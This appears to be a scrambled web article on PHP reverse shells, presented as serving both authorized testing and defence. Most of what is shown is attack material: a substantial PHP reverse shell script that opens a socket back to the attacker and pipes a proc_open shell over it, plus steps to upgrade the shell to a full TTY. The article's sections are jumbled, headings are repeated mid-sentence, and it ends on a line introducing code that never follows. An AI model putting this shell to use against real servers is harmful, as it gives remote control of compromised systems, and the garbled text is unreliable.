This article serves a dual purpose. First, we will explore what a PHP reverse shell is, how it works, and provide technical examples for authorized security testing. Second, and more importantly, we will arm system administrators and developers with the knowledge to detect, prevent, and defend against these attacks.
PHP is one of the most common vectors for executing reverse shells due to its massive footprint in web development. If a web application suffers from a Remote Code Execution (RCE) or file upload vulnerability, a PHP reverse shell is often the payload of choice to gain a foothold on the underlying server.
# Step 3a: Spawn a TTY using Python python3 -c 'import pty; pty.spawn("/bin/bash")' # Step 3b: Background your current shell session Ctrl + Z # Step 3c: Configure your local terminal to pass raw codes stty raw -echo; fg # Step 3d: Reset and update your terminal environment variables reset export TERM=xterm-256color Use code with caution. Defensive Countermeasures and Remediation Reverse Shell Php
The execution of a PHP reverse shell follows a distinct three-step lifecycle:
// Try every possible socket function if (function_exists('fsockopen')) $sock = fsockopen($ip, $port); elseif (function_exists('pfsockopen')) $sock = pfsockopen($ip, $port); elseif (function_exists('stream_socket_client')) $sock = stream_socket_client("tcp://$ip:$port"); else die('No socket functions available'); This article serves a dual purpose
array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); // Spawn the shell process $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) exit(1); // Make streams non-blocking stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($daemon, 0); while (1) // Check if the connection or the shell process has terminated if (feof($daemon)) break; if (feof($pipes[1])) break; $read_a = array($daemon, $pipes[1], $pipes[2]); $num_changed_streams = stream_select($read_a, $write_a, $error_a, null); // Read from network, write to shell stdin if (in_array($daemon, $read_a)) $input = fread($daemon, $chunk_size); fwrite($pipes[0], $input); // Read from shell stdout, write to network if (in_array($pipes[1], $read_a)) $input = fread($pipes[1], $chunk_size); fwrite($daemon, $input); // Read from shell stderr, write to network if (in_array($pipes[2], $read_a)) $input = fread($pipes[2], $chunk_size); fwrite($daemon, $input); fclose($daemon); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?> Use code with caution. Step-by-Step Implementation Guide
Microsoft's security research has observed threat actors increasingly using legitimate execution paths already present in environments, including web server processes, control panel components, and cron infrastructure, to stage and preserve malicious code. Rather than relying on complex exploit chains, modern attacks leverage existing mechanisms to evade detection. PHP is one of the most common vectors
-n : Do not perform DNS resolution on IPs, speeding up the connection phase.
Attackers use various methods to establish these connections, ranging from simple one-liners to complex scripts. 1. PHP One-Liner (Command Line)
Here's an example of a simple PHP reverse shell code: